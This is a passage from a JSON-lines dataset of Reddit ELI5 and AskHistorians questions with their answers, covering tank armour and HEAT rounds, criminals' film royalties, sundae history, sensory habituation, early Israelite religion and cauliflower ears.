more tanks began using thicker armor. Creating larger shells to penetrate thicker armor wasn't scaling well, because the larger the gun, the larger the tank needed to be, and the heavier it had to be. Instead, we can concentrate all that energy into a single point, because that is all we need. HEAT rounds are shaped charges, which focuses kinetic energy (it doesn't \"melt the armor\") towards a single point. It's the kinetic speed of this jet that penetrates the armor. A good thing to remember is that speed negates armor. The faster something is traveling, the greater the armor-penetrating effect will be. A metal ball traveling at 5 miles an hour won't break through 100 mm of armor, but a metal ball traveling at 33000 miles per hour will break through it like it wasn't even there. That is how HEAT rounds penetrate, it uses a shaped charge that creates a jet stream of liquid metal that is traveling at ~25k miles an hour. At that speed, it \"slices\" through the armor and into the cabin, creating a stream of molten metal that travels into the crew cabin, potentially knocking them out. It's not the temperature of the HEAT round that causes it to penetrate, it's the **speed** that molten stream of metal that causes it to.\n\nCounter-measures- \n\nTanks employ several measures to counteract new shell designs. It's fascinating learning about a new shell design that came around, and how armor changed as a result. \n\n[Sloped Armor](_URL_10_)\nAt first it was sloped armor, they found that 90\u00b0 armor designs (such as the famous Tiger 1 tank) were ineffective given the fact that it used 100mm of steel, and provided 100mm of protection. But if you were to angle that armor 45 degrees, then the amount of protection increased (correct me if I'm wrong, but I believe it would be sqrt(2)x100, giving us 141mm of **effective** armor). Rounds that would normally penetrate a flat 100mm plate of armor would not penetrate, and the likelihood that a 140mm steel penetrating round would penetrate either, because of the fact that it's at an angle of 45\u00b0 instead of flat 90\u00b0, which may cause it to bounce. The downside of this is that you need more armor total to cover your tank, so it's not just a straight up benefit. If your armor was 45\u00b0, then you would need sqrt(2) more armor to cover the same distance if it was flat.\n\n[Extra armor](_URL_12_) -\nYou'll notice in the [Tiger 1 tank](_URL_13_), that there seem to be things sticking out from the front bottom of the tank. This is actually a piece of tank track, which was put there for two reasons. The first is to provide a backup of a section of tank track in case they become damaged. The second (and the reason why it's actually there and not elsewhere), is because it increased the distance that a shell would have to penetrate the tank. That section might be many millimeters thick, which meant that even though it wasn't designed to stop rounds, a round that had an explosive cap would detonate on that instead of the surface of the armor, meaning the likelihood of success of it penetrating to inside the tank greatly decreased. Nearly every single element of a tank design is for functional, rather than stylistic reason. Tigers\n\n\n[Anti-Spalling](_URL_1_)- As said before, spalling creates tiny fragments of metal that travel throughout the crew space, potentially killing crew members. To counteract this, you can install Spall-liners which would \"catch\" the metal spalling, and is placed in between the steel armor and the crew space. Kevlar can be used for this for example, and it used for body-armor as well.\n\n[Spaced Armor](_URL_0_)- Note the metal sheets on the sides of the tank. Spaced armor is useful in creating a gap between the penetrating shell, and the steel armor. The gap may detonate the ballast cap of the shell, and may cause the armor piercing shell to tumble before it hits the armor, greatly reducing the penetrating effect. It also causes HEAT rounds to detonate their shaped charge early, which greatly reduces that concentrating effect of liquid metal against the armor. [RPG's](_URL_9_) are basically mobile HEAT rounds (note the distintive cone shape of the head).\n\n[Reactive Armor](_URL_2_)- So you have an incoming round that is likely to penetrate, and you want a last-minute ditch effort to try and slow it down. This is the thinking design behind reactive armor. If a paper airplane is coming towards your face and you have nothing but your mouth to prevent it from directly hitting you, what could you do? Well, you could try to dodge, but if you can't, the next best thing is to blow against it, that is what reactive armor does, it \"blows away\" an incoming shell by creating a secondary explosion that causes the incoming shell to lose energy. If I have a force of say 5 units, and the reactive armor pushes back with a force of 3 units, the total force against the armor would only be 2 units, which is far better than having 5 units of force, and at that point, my composite armor will likely protect me.\n\n[TROPHY/Arena countermeasure system](_URL_11_) - This is a high-tech system designed to detect incoming rounds, and \"shoot\" them out of the sky before they have a chance of hitting the tank. Currently, Israel has the Trophy System, and Russia has the Arena system, but both work in the same principle. They intercept incoming rounds with either a \"shotgun\" blast to deflect/blow up the missile, or a mini-rocket to intercept and blow up the incoming projectile.\n\nAnd that's the post limit. Hope this helped and you learned something."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/dHfQYGGUS4U"], [], ["https://worldoftanks.eu/dcont/fb/imagesforarticles/antitank_rounds/kumulativnimlazanimacija.gif?MEDIA_PREFIX=/dcont/fb/"], ["https://i.imgur.com/5qEAF2x.png", "https://i.stack.imgur.com/W1gMv.jpg", "https://i.imgur.com/Sj0Zkf5.png", "https://i.imgur.com/lsF3apq.png", "https://memestatic.fjcdn.com/gifs/Tank_aaa949_6259033.gif", "https://upload.wikimedia.org/wikipedia/commons/c/c2/Aluminium_plate_spalling.gif", "https://i.imgur.com/tW2pZAT.png", "https://i.imgur.com/qLrXobX.png", "https://i.imgur.com/uLz2DF8.jpg", "http://www.defenseworld.net/uploads//news/big/rpg-7b_1508847929.jpg", "https://i.imgur.com/IsegT9g.png", "https://i.imgur.com/W4zKqsL.png", "https://i.imgur.com/bTclC1Y.jpg", "https://i.imgur.com/FFjy7WD.png", "https://i.imgur.com/cRXRrro.png"]]}
{"q_id": "3kuphy", "title": "do criminals who get movies made about them while they are still in prison (whitey bulger, george jung, etc) receive any sort of compensation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kuphy/eli5do_criminals_who_get_movies_made_about_them/", "answers": {"a_id": ["cv0oabc", "cv0w4i9", "cv1q6eo"], "score": [29, 7, 2], "text": ["Several states have passed laws saying that convicted criminals cannot make money off their life of crime. So no money from book deals, movies, TV shows and the like. Sometimes the money goes into a fund for victims and their families. But all of that would depend on the state where the criminal is in prison.", "There's no reason they should be entitled to any compensation unless they cooperated with the making of the movie or provided details to the film-maker that they couldn't get otherwise.\n\nJung did a commentary for the \"Blow\" DVD, I believe, maybe he got compensated for that? Or maybe as /u/bkpriv says, someone else got it.\n\nThe key thing about a convicted criminal's life story is the proceedings of the trial and the evidence given has made everything interesting about them public knowledge and freely available. You don't need their cooperation.", "Depends on the country/state and possibly the crime and the individual. I know that Pablo Escobar's family allows his likeness and story to be used commercially since it does make them money, and his son gives most of the money from those ventures (the ones he controls, at least) to the victims and their families. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3cvq9r", "title": "why is a single cherry on every traditional sundae?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cvq9r/eli5why_is_a_single_cherry_on_every_traditional/", "answers": {"a_id": ["cszfumt"], "score": [48], "text": ["The ice cream sundae was invented by Chester Platt who owned the Platt  &  Colt's drugstore in 1893. Platt prepared a dish of vanilla ice cream for the Reverend John Scott on a Sunday. Chester Platt spiced up the ice cream with cherry syrup and a candied cherry. Reverend Scott named the dish after the day. An advertisement for \"Cherry Sunday\" served at the Platt  &  Colt's drugstore has helped document this claim.\n\nThe birth of the sundae goes to Ithaca, New York, which as what is the earliest known documentation via an ad placed by Chester Platt in the Ithaca Daily Journal on April 6, 1892 for the \u201cCherry Sunday\u201d served at Platt  &  Colt\u2019s soda fountain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "36lwv2", "title": "how do we get accustomed to things like glasses, rings, wrist watches etc on our body. why do we not feel weird after some time as we do when we first wear them?", "selftext": "I've always felt that the glasses, jewelery etc are a part of my body. Its only when I touch them or see them that I feel there is something on my body which can be detached.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36lwv2/eli5_how_do_we_get_accustomed_to_things_like/", "answers": {"a_id": ["crf2mxx", "crf881c"], "score": [15, 2], "text": ["The human mind is conditioned to react to change because that skill is an important thing for basic survival. That tree sitting there, completely still, is not a threat. But the wild boar charging you from underneath it is. That rabbit that just moved could be a food source. And that spider crawling on your shoulder that you feel rather than see is possibly a threat too.\n\nSo these 'changes' in sensation are things your brain reacts to, and it filters out older stuff that get in the way of your ability to pay attention to those changes because you can only pay attention to so many things. \n\nA bracelet, a ring, a watch, even a dental filling feels weird at first. It's a change and it's out of place. But eventually your brain turns it off because other things are potentially more threatening or interesting for it to pay attention to.", "There's something in the human nervous system known as a threshold potential.  This is the level of \"charge\" (not entirely accurate, but this is ELI5) it takes for a nerve to send a signal to the brain saying \"Hey, something's here!\"  What happens is that as a stimulus continues, your nerves keep sending messages to your brain but the threshold potential rises so that each signal takes more and more \"charge\" to actually fire off.  Eventually the same stimulus is no longer enough to trigger that signal and you don't notice the stimulus anymore.  It's why you're not constantly feeling your clothes.\n\nA professor had a very apt, if crude, comparison.  Think of it like a toilet - you can't flush until the tank is full.  Now imagine if, every time you flushed, the tank got bigger and took longer to fill up.\n\nThere are exceptions and things can cause the threshold potential (abbreviated TP...huh...just noticed that in context of the toilet analogy) to drop, but given that this info comes from a 400-level college biology course, most of this is way outside the scope of ELI5."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4nys70", "title": "What do we know about Judaism's polytheistic period? What was YHWH's role in that pantheon? And how was the faith similar or dissimilar to its contemporaries?", "selftext": "It seems to be common knowledge that [early Judaism](_URL_1_) was an offshoot of the earlier \"[Canaanite](_URL_0_)\" religion. YHWH was one of the many gods of this pantheon, and eventually came to be [the national god](_URL_2_) of the Iron Age kingdoms of Judah and Israel. But online encyclopedia articles aren't nearly as well-rounded, detailed, or reputable as the kinds of answers one can get from this sub, hence my question.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4nys70/what_do_we_know_about_judaisms_polytheistic/", "answers": {"a_id": ["d488co1", "d48cpuc", "d48g6ps", "d48gagn", "d48iava", "d4ame3m"], "score": [8, 17, 338, 183, 55, 3], "text": ["What source says they had a polytheistic era? ", "Would this period even be called judaism? Is it Proto-Judaism?\n\nOr just Judaism's antecedents?\n\nWhat would be the terminology here? Is there a debate over what to call it? ", "Let us say polytheistic Hebrews/Isrealites in place of polytheistic Judaism. \n\nTo know the origins of Hebrew polythiesm, we must understand the origins of their religious traditions and gods, the ethnic/genetic origin of the Hebrews, their ancestors and kin, and all such in order to give a clear answer to your questions. However, I will focus overwhelmingly on its origins and how it relates to then-contemporary and even present existing Afroasiatic religious traditions, although I will my give some thoughts to what may have caused the shift of identity for Yhwh from being a lesser God to being tied with 'El' and becoming the national Israelite God towards the end. \n\nThe Hebrews are a Semitic ethnolinguistic group, which means that in common with all present and extinct Semitic groups like the Arabs, Assyrians, Babylonians, Pheonicians, Sabeans, Amhara, and the Tigre (and numerous unmentioned others), they also speak a language that descends from the proto-Semitic language, which was spoken about 7-4000 ybp. The proto-Semitic language was spoken by the proto-Semites, a people whose descendants include the Hebrews and the various other mentioned - and unmentioned - Semitic groups. \n\nThe proto-Semites first arose in the area which is now termed the Levant, which includes Syria, Lebanon, Isreal, and Jordan. The proto-Semites are believed in turn to be descended mostly from an indigenous Levantine mideastern population, and a small migrant Afroasiatic population from northeast Africa who mixed and accultrated the indigenous Levantine population, who then shifted from what pre-Afroasiatic language they were speaking to the Afroasiatic language of the African migrants. The resulting population from this nominallly African-admixed Levantine and now Afroasiatic speaking population became the ancestral proto-Semitic peoples, or Natufians.\n\nNow when the Afroasiatic migrants accultrated the Levantine population, they didn't simply induce a language shift, but they also introduced the Afroasiatic religious traditions they brought with them from Africa. To know more of these traditions, let us speak on the origins of the ancestors of the proto-Semitic peoples and their Afroasiatic ancestors, the proto-Afroasiatic peoples. \n\nThe present scholarly and academic consensus agrees that the cradle and homeland of the proto-Afroasiatic peoples and language to be in the Horn of Africa (Ethiopia, Somalia, Eritrea) and immediate vincity (northeastern Sudan), first arising prior to 15,000 ybp. The earliest proto-Afroasiatic people were hunter-gatherers at first, and they are likely to later have became arguably the first to harvest wild grains (which in turn, lead to early agriculture). They later domesticated various animals, including cattle, camels, goats, and the like, and became mostly nomadic. The proto-Afroasiatic people are believed to have had a henothiestic pagan religion. Since proto-Afroasiatic society was centered wholly around clans, the henothiestic Afroasiatic faith centered on the worship of the God of the clan, with each clan having a ritual clan-priest (*waper in proto-Central/South/East Cushitic). The *waper clan-priest served as an intermediary between the clan-god and the clan, and played perhaps the most vital religous role in proto-Afroasiatic society. -\nThe henothiestic Afroasiatic faith also had a high central all-powerful sky-God figure who was superior to the lower set of clan-gods. This high sky-God was the creator, but the exact role of the high sky-God and influence in the lives of the common people is not clear as of yet. This high sky-God is present in all derived Afroasiatic religious traditions, as the 'Waak' of the Cushitic peoples, the 'El' of the Hebrews/Israelites/Canaanites, and 'Allah' for the Arabs (Allah and Eloah being cognates).\n\nIn addition the to high God and clan-gods, the proto-Afroasiatic religion was also dualistic, with a good vs evil dualism. They believed in the existence of demonic spirits/beings of a cursed and evil nature, and these spirits came to later manifest themselves in the derived Afroasiatic religious traditions, called 'saar' or 'jinni' amongst the Cushitic groups, and 'jinn' amongst the Arabs and other Semitic groups. In addition to the evil spirits/demons, they also believed in angelic beings and benevolent spirits sent by the high God to assist the humans. These spirits later became the angels of the Abrahamic tradition ('Malak' in Arabic and Hebrew), and the Ayaanle of the Somali and other Cushitic peoples (or 'Ayanna' in Oromo). \n\nAnd then there was the practice of the the now dominant Abrahamic tradition of circumcision, which also first arose amongst the proto-Afroasiatic people as a socio-religious rite. I go into an in depth explanation of this in this post on the origins of circumcision: \n\n_URL_0_  \n\n*To summarize, circumcision - for both males and females - was of high importance to the proto-Afroasiatic peoples, and remained greatly preserved and intact in most of the descendant Afroasiatic cultures and peoples of all branches, being notably so in our current Abrahamic (and Western) tradition of circumcision.  \n\nThe proto-Afroasiatic peoples also practiced some form of dietary restrictions, and this early tradition became preserved in later Afroasiatic  religious traditions as 'halal', 'kosher', and the Cushitic 'fish taboo'.\n\nAnd then finally, there was the proto-Afroasiatic tradition of animal sacrifice to a clan-god and/or high God. The tradition of animal sacrifce became a cornerstone in all derived Afroasiatic religious traditions, both pagan and Abrahamic. It is also likely that the drinking of camel and cattle blood, as was practiced by the Cushitic peoples until of recent (and by Cushtic-influenced groups like the Masai), was also a likely proto-Afroasiatic custom. \n\nAs you can see, minus the polytheistic nature of the religion, almost all features present in the Abrahamic faiths were all simply relict proto-Afroasiatic rites and religious traditions, with a creator high God, angels, devils, curses and possession (which I did not get into), priests, animal sarifice, dietary restrictions, and cicumcision. As such, let us return to the polytheistic Hebrews/Israelites.\n\nSo, when the proto-Afroasiatic and Afroasiatic people first began experiencing population growth as a result of food abundance and putting pressure on the neighboring Nilo-Saharan peoples to their direct west, and the Khoesan hunter-gatherers to their south, they began successive migrations north, south, and west. The Afroasiatic migrants and clans that went north followed the Nile, and therein it is believed they then broke into 3 groups, one heading west and becoming the proto-Tamazight/Berbers, one staying put and becoming the proto-Egyptians, and a third group which crossed the Sinai and into Asia and the Middleast, finding an already settled population of Levantine people whom they admixed with and accultrated. These early ancestral Semitic peoples are the Natufians, whose genetic makeup revealed a heavy northeast African influence (30% avg.?), as well as exhibiting clear Afroasiatic influence, with the excavation of what is believed to have been a Natufian *waper clan-priestess in the tradition of her northeast African proto-Afroasiatic forebears. \n\nThe descendants of the Natufians/ancestral Semites were the proto-Semitic peoples, whose descendants the Hebrew/Israelites number amongst. The proto-Semitic people had developed new unique features within their Afroasiatic religious tradition, many likely as a result of substrate influences similar to that between the Semitic Akkadians and the non-Semitic Sumerian substrate (Sargon, etc.,). As such, Semitic Afroasiatic henothiesm most likely significantly or slightly differed from that of their Afroasiatic neighbors and kin on the African mainland. \n\nWith this in mind, it seems that by the time the proto-Semitic peoples had migrated and diversified all over the Middle East, Levant, and Mesopatamia, the common Semitic pagan tradition of the various Semitic groups began to differ significantly. However, almost all kept most of the proto-Afroasiatic traditions alive, and all most likely adhered to a locally differentiated form of the common Semitic pagan core pantheon. \n\nThe core Semitic pantheon had developed prior to the time of the proto-Semitic migrations during pre-diversification period. This core Semitic pantheon most likely arose exactly like that of the ancient Egyptian pantheon, with the various proto-Semitic individual clan-gods each later becoming a God in their own right and getting their own unique association. Thus, the proto-Semitic clan-gods coalesced into the core Semitic pantheon, with the proto-Afroasiatic high sky-God being preserved as the central creator and main diety, and presiding over the pantheon. \n\nAll the Semitic peoples worshipped the core Semitic pantheon, including the Arabs, Sabeans, Syriacs, Ge'ez, and Hebrews/Israelites/Canaanites. However, each also differentiated the pantheon by the addition of other gods or deletion of others, likely depending on their usefulness, with an agricultural and settled peoples probably not having much use for a desert God, and thus, having the desert God fade into complete obscurity as time goes by gradually.\n\n(Continued in 2nd post)\n\n*To whoever gave me gold, I am greatly humbled and appreciative. \n\n*Folks, I put some sources down below in my 2nd post. I'll be adding whatever else I can. There is a significant amount of recent linguistic and archeogenitics research on alot of the early prehistory I mention here, and the evidence is currently undisputed for the most part. I'll compile what else I can.", "(Continued from 1st post)\n\nSo the Hebrew/Israelites adhered to the core Semitic pantheon, with the Afroasiatic central high sky-God becoming 'Yhwh', and 'Elohim' being a plural, meaning Gods', i.e the Israelite pantheon. The word Elohim is cognate with the similarly sounding Arabic 'Ilaah' or 'Gods'. However, both words can also be used in a singular form. \n\nHowever, it is possible that the Hebrew/Israelites were influenced by the neighboring and fellow Afroasiatic ancient Egyptians, whose theology and religious scripture probably had a role to play in influencing the religious traditions and beliefs of the Hebrews and thus, the Jews of today. \n\nOne important thing to note is that the main sky-God of the Semitic pantheon was refered to as 'Il'. 'Il' became the 'Eloah' and its plural 'Elohim' of the Hebrews, 'lah' of the Arabs ('Al-lah', 'the God'), 'Ilu' of the Assyrians, and so on. However, then it begs the question as to how 'Yhwh' came to be used to exclusively refer to El.\n\n'Yhwh' first began as one of the 70 sons of 'El' the high sky-God of the Israelites. Each of the 70 ons of El ruled over a nation of peoples, and 'Yhwh' alloted nation was a part of Israel. Probably because of this, his name became increasingly associated with the main sky-God El in time, and later came to exclusively to refer to the sky-God and replace the former name. \n\nLater on in time, perhaps the Israelites came to see 'Yhwh' as embodying the powers of the whole pantheon of gods. Or perhaps due to the belief the sky-God El's sons each being the god of a nation of their own, it is also proposed that perhaps the defeat inflicted by the Assyrians really shook Isrealite society and it's religious outlook, and with the Assyrians being the most dominant and powerful polity at the time, then it must have meant that their God must be just as powerful as well. As such, the god-nation divine pairing became unfavorable to the defeated Israelites, with the central sky-God 'Yhwh' coming to be seen as the only God of all nations, a much more favourable religious concept than that of the former, which would have given an image of divine unbreakable military superiority to the Assyrians.\n\nHowever, a better theory not yet mentioned here is the contemporaneous and symbiotic melding of Israelite society from a pluralistic, decentralized state and existence, to a highly centralized, singular state and existence. What is being referred to here is the Davidic monarchy and the establishment of Israelite monotheism and a singular Yahweh which progressively developed from a decentralized and polytheistic background. Both state and religion seem to have an uncanny similarly evolution towards singularity, and thus may have reinforced each other as such. \n\nAnd interestingly, I have an explanation for how the state and religion both seemed to move together, almost lockstep, towards a singular form:\n\nThe Israelites, as I have mentioned, were undoubtedly henothiestic, and had preserved the worship of clan-dieties and the office of clan-priest *waper. So we can see a direct connection between clans and polythiesm/henothiesm. As such and as we usually predict, clan-systems are most vibrant in decentralized sociopolitical regions and modes of organization. Thus, we can expect that the opposite of decentralization -centralization - to have the opposite effect in that it is detrimental to any clan system and sociopolitical form of organization (as witnessed in Ireland, Scandinavia, Southern Africa, China). Thus, with the shift from a clan-based, decentralized system to a highly centralized monarchy broke the power of the clans, and greatly lowered the importance of clan affiliation amongst the Israelite populace. With the lowered significance and importance of the clan system, and the rise of nationhood wherein one would identify themselves as a Hebrew or Israelite as opposed to their clan, Israelite polythiesm and henothiesm, with its direct reliance on clan-priest and clans, died off. As such, the shift to a more common and broad singular identity as opposed to the numerous clan-based identities, served to excommunicate the vital role the clan played in the Israeli henothiestic and polythiesm faith from Isrealite society, and Israelite monotheism possibly being a manifestation of the more singular identity of the nation which united the various Israelite clan identities to form a whole, just as happened with the melding of the Israelite pantheon into a single God figure.\n\n*To say 'Elohim'/'Eloah' and 'Ilaah'/'Allah' to mean 'Gods'/'God' is far too simplistic and undeserving, and the true meaning of those two word is far more complex, and as such, the English language lacks any true equivalent word, although 'Lord' seems to be much preferred in translated religious texts. \n\nKitchen, A., C. Ehret, S. Assefa, and C. J. Mulligan. \"Bayesian Phylogenetic Analysis of Semitic Languages Identifies an Early Bronze Age Origin of Semitic in the Near East.\"Proceedings of the Royal Society B: Biological Sciences 276.1668 (2009): 2703-710. Web.\n\nHalladay, Andrew, \"The Ascension of Yahweh: The Origins and Development of Israelite Monotheism from the Afrasan to Josiah\" \n(2010). Pomona Senior Theses. Paper 5. \n_URL_1_\n\nLaichas, Tom. \"World History Connected | Vol. 2 No. 1 | \"A Conversation with Christopher Ehret\"\" World History Connected | Vol. 2 No. 1 | Christopher Ehret: \"Christopher Ehret\" University of Illinois, 2003. Web. June 2016.  < _URL_0_;.\n\nEhret, Christopher. The Civilizations of Africa: A History to 1800. Charlottesville: U of Virginia, 2002. Print", "\nI might be able to answer this for you using evidence from the site of Kuntillet 'Ajrud. However, I would like to point out that the Israelite history is very in depth, so one post won\u2019t cover much.\n\nBriefly speaking, we don't have concrete evidence of where the Israelites originate from, we have a few theories regarding their appearance in Canaan, but there is no material evidence to 'anchor' a date or an origin (you can google these theories by Albright  &  Yadinl; Alt  &  Noth; Mendenhall  &  Gottwal; Finklestein). The other issue we have is that during the early formative period of this history (appx 8th century BCE), writing regarding Yahweh was very limited, therefore we don't have many written sources attesting to Yahweh's role in the pantheon or a real theogony for him. \n\nSo if we assume that the Israelite people, before they assumed an Israelite identity, were integrated with Canaanites or native to Canaan then they would have had influences coming from the Near East (Assyria/Babylonia etc) and Egypt to say they least. Additionally, the period of time which you are referring to looks at between 800 BC - 550 BC which is the Iron IIB-C through to the second temple period. Yahweh's role in the Canaanite pantheon was originally that of a minor deity. In the site of Kuntillet \u2018Ajrud, the petroglyphs show him seated along a female figure, and the accompanying paleo-Hebrew inscription reads \u201cfor Yahweh and his Asherah\u201d (Hadley 1987: 51). \n\nAsherah was a very important female divinity to the Canaanites, she was married to El and Baal and was the mother of their gods. El was the word meaning lord or god to the Cannanites, and was the head of the pantheon, Baal was a storm god who eventually replaced El in the myth The Ugaritic Baal Cycle (Smith 1994). So, to have him in a scene alongside her demonstrates that at the site of \u2018Ajrud he would have held a similar role to El or Baal, ie; head of the Pantheon.  \n\nThere are also the sites of Tel Dan, Tel Arad and Kirbet el-Qom which date to c. 9th/8th century BCE which depict Yahweh alongside other Canaanite gods, foremost the goddess Asherah. Additionally, Biblical evidence from 2 Kings  tells us that in Jerusalem during this period they were worshiping other divinities such as Asherah and Baal. \n\nI don\u2019t know exactly what you mean by \u201chow was the faith similar or dissimilar to its contemporaries\u201d. I assume you mean the Canaanite faith with Yahweh in it? If so, it would have been very similar to contemporaries in the sense that it would have been hierarchically structured with Yahweh at the head of the respective pantheon. One thing to remember though, is that each community would have had their own version of the pantheon, so it's possible that whilst the community at 'Ajrud placed Yahweh at the head, others would have maintained worship in El or Baal and Yahweh would have continued to be a minor deity. \n\n\nI hope this briefly answers your question. \n\n\nFor more info on this see: \n\nAckerman, S., (2013) \u2018Goddess\u2019 in S. Richard (ed.) Near Eastern Archaeology a Reader, Winona Lake, pp.391 -397.\n\nDever, W., (1984) \u201cAsherah, Consort of Yahweh? New Evidence from Kuntillet \u2018Ajrud\u201d, Bulletin of the American Schools of Oriental Research 255, 21-37.\n\nDever, W., (2013) \u2018Religion and Cult in the Levant: The Archaeological Data\u2019 in S. Richard (ed.) Near Eastern Archaeology a Reader, Winona Lake, pp.383-390.\n\nHadley, J., (1987) \u2018The Khirbet el-Qom Inscription\u2019 Vetus Testamentum 37, 50-62.\n\nKaufmann, Y., (1951) \u2018The Bible and Mythological Polytheism\u2019 Journal of Biblical Literature 70, 179-197.\n\nSmith, M., (1994) The Ugaritic Baal Cycle, New York.\n\nVriezen, K., (2001) \u201cArchaeological Traces of Cult in Ancient Israel\u201d in Becking, B., (ed.), Only one God? Monotheism in Israel and the Veneration of the Goddess Asherah, Wiltshire, pp. 45- 80.\n\n\n\n", "This answer builds upon what [asrafael](/u/asrafael) answered, and delves deeper into the proto-Judaic religion.\n\nWhile overall I concur about the idea of henothiestic idioms within pre-Babylonian Judaism (as is clear from the earliest Torahs discovered which date from 150BCE), I think analyse of the role of pre-history in the development of Judaism needs to take into account the unique idea of monotheistic religion. Up until the worship of the [Arten](_URL_1_) in around the 1400-1300BCE in Egypt all recorded religion was predominantly poly or heno theistic. The idea of a singular 'I AM' was an aberration even to the Egyptian, with [strong indications that the ruling dynasty who tried to impose the Aten were overthrown by the priesthood and polytheism restored.](_URL_0_)\n\nOut of the milieu emerged the proto-Judaic religion, though any semblance of fact relating to what constituted actual Jewish beliefs prior to around 600BCE is complicated by the [first Jewish diaspora](_URL_4_) and exile to Babylon. The Jews in Babylon came into contact with [proto-Zoroastrianism](_URL_2_), which bears striking similarities to a lot of beliefs that carried over into proto-Judaism once the Judeans were permitted to return to Jerusalem by Cyrus the Great in 538 BCE. How much of the pre-exile religion survived is debatable, as [the miraculous discovery of the Torah in the temple by Hilkiah](_URL_3_) is extremely convenient in enabling the returning king to unify the people around the YHWH.\n\nPrior to the diasphora the evidence points to a purely monotheistic religion that eschewed the trappings of angels, demons, good vs evil, heaven/hell etc. In the pre-exile Torah only 'I AM' exists separate and indivisible. At no point in the pre-Babylonian writings are any mystical or spiritual things mentioned (even the spirit of the Lord over the water is I AM), just that the singular God of the people who was a jealous god demanding sole worship, hence the first two commandments. When the people turned to the other gods they were severely punished. Baal, Asherah (consort of El), and various Egyptian deities all played a part in pre-diasphora life, only to be expunged once the Jews returned home and 'found' the Torah miraculously preserved in the Solomonic temple.\n\nThere is very strong evidence that first Zororastrianism, and then Platonic Greek philosophy under the Asasanid dynasty fundamentally changed the outlook of the pro-Judaic religion, which then developed the idea of a messianic figure to save the people from the invaders that conquered the nation.\nThis notion is especially acute when you consider that the sadducees explicitly rejected the idea of a spirit world; they denied the resurrection of the dead, the existence of spirits, and the obligation of oral tradition, emphasizing acceptance of the written Law alone. It was only after the final destruction of the temple that the pharisetic traditions, combined with Greek philosphical influences, finally crystallised what we consider to be the modern idea of Judaism, monotheism, and the afterlife into a coherent post-temple faith.\n\nThere is also the other factor that proto-Judaism's traditions probably sprang from the faith of the Assyrian and Semitic tribes of the Tigris/Euphrates region, spreading to the semitic tribes in Canaan through trade and commerce, which is hinted at in the founding myth of Abraham (Ur being a major city in the Tigris/Euphrates region during the early civilising period). These traditions drew in, and mutated, the idea of El, Baal, and the other regional gods, though ultimately rejecting the notion of many in favour of an absolute one.\n\nThere is also the factor that post-exile Judaism was as concerned with salvation of the people in the form of the Massiah as it was about the law. The Pharasetic tradition, which became the rabbinic heart of what we consider Judaism, sprang from the need to worship without the temple, which is why the Jewish faith was able to survive the destruction of its holy site when many other polytheistic religions crumbled into history. This tradition emerged from the first diaspora, and enabled Judaism to move beyond its initial canaanite roots. \n\nI appreciate that [asrafael](/u/asrafael) drew direct lineage from the migratory patterns of the proto-Semitic tribes, but personally I believe if you look at the writings and theological evidence available in terms of Judaism's embryonic roots you have to look north towards Persia, Edom, east towards Babylon and even India (Buddhism), and west to Greece for a fuller picture as to how Judaism's metamorphosis from one jealous god amongst many to a singular one without any other with all the trimmings evolved.\n\nIn summation, and to directly answer your question:\nJudaism's polythistic nature is an educated guess based around Torah scholarship and archaeology. Theologically what made proto-Judaism unique (outside of the cult of the Arten) was its emphasis on the I AM, as you term it YHWH. YHWH was the singular god of the people, an amalgamation of ideas and theologies that the canaanites, and in particular the Judeans, absorbed and crystallised into their patron deity at the exclusion of all others. Until the first exile Judaism was a religion of the Law (Torah), ritual, and sacrifice for atonement. After the exile it absorbed Greek, Zororastrian, and potentially Buddhist philosophies, but the overriding morphing of the pre-exile religion was the national desire for a Messiah to save the people. This Messianic complex was the real distinguishing feature, as while Monotheism by itself was revolutionary, without the Messianic impetus, coupled with the devolution of religious authority to the rabbis, proto-Judaism would never have evolved and migrated outside the Judean sphere."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Ancient_Canaanite_religion", "https://en.wikipedia.org/wiki/Origins_of_Judaism", "https://en.wikipedia.org/wiki/Yahweh"], "answers_urls": [[], [], ["Https://m.reddit.com/r/AskHistorians/comments/4ixj8i/how_long_ago_and_why_did_humans_start_practicing/d32i2ve"], ["http://worldhistoryconnected.press.illinois.edu/2.1/ehret.html&gt", "http://scholarship.claremont.edu/pomona_theses/5"], [], ["https://en.wikipedia.org/wiki/Akhenaten", "https://en.wikipedia.org/wiki/Aten", "http://www.bbc.co.uk/religion/religions/zoroastrian/", "https://en.wikipedia.org/wiki/Hilkiah", "https://en.wikipedia.org/wiki/Babylonian_captivity"]]}
{"q_id": "c6i1e6", "title": "what causes \u201ccauliflower ears\u201d? i know it\u2019s from repetitive damage over time but i mean what is occurring in the body for it to look like it does?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c6i1e6/eli5_what_causes_cauliflower_ears_i_know_its_from/", "answers": {"a_id": ["es8tfdl", "es8tjbq", "es8tnpt", "es8wyyc"], "score": [7, 6, 5, 2], "text": ["Correct me if I'm wrong, but I believe it's when the tissue separates and blood fills in the gap causing the swelling. It can harden overtime and cause scar tissue. (Personal experience...you can lose some feeling in that part of your ear and it becomes like leather. )", "So the \"soft bone\" part of your ear forms a bowl shape, at the top. If you have a feel, its semi rigid but you can bend it without much discomfort. If this keeps gettin bent and battered over time, usually from contact sports, the ear gets  'broken' and like any other bone starts to heal, and also like other bones, if its in the wrong shape its gonna heal like that. Because its just a bowl of cartilage, when a chunk breaks and heals, the surrounding area is now stronger, and it becomes more rigid. (Your bones heal stronger around a break). Now this just forms lots of little bone 'islands' in your ear all patchworked together, into the recognisable cauliflower ear.\nA lot of people, particularly your rugby players will have this to a very small degree, but like with broken noses, you only notice the more obvious ones.\nSource : my rugby physio trying to explain to me how it happens, so sorry if some of it has been paraphrased !", "Usually in Rugby during a scrums mauls and rucks the players will have their heads surrounded; which constantly rubs against their ears. A lot of props, hookers and other forwards have cauliflower ears since they are involved 